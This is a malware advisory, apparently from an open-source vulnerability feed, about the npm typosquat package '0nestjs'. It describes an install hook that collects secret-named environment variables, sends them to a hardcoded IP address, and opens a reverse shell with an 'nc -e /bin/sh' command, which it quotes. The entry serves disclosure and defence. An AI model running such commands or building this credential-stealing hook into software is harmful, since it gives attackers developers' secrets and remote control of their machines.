0nestjs
Affected
- Versions:
0.0.1
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in 0nestjs (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (54eee258f343282c30f3efc6b5effc8aac283b7b02421433c14dee3e14f27aa3)
Package name 0nestjs targets developers mistyping nestjs. On npm install, the postinstall hook node index.js executes automatically and performs two attacker-benefiting actions against the installer's machine. First, it enumerates process.env and collects every variable whose name matches /^(SECRET|API|TOKEN|KEY)/, then opens a raw TCP connection to the hardcoded endpoint 84.32.22.44:9999 (loaded from servers.json) and writes the harvested secrets as JSON. Second, it invokes nc -e /bin/sh <host> <port> against the same 84.32.22.44:9999 endpoint, wiring /bin/sh stdio to the remote host and giving the operator interactive command execution on the installer's machine. package.json self-describes as 'Typosquat of nestjs' with author 'typosquat-bot'.
Source: ossf-package-analysis (8e7fe3caa67347716816d33efbd052f536e41382406cf2282b2615f4bf87b797)
The OpenSSF Package Analysis project identified '0nestjs' @ 0.0.1 (npm) as malicious.
It is considered malicious because:
Not rated by the source.
0.0.1None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0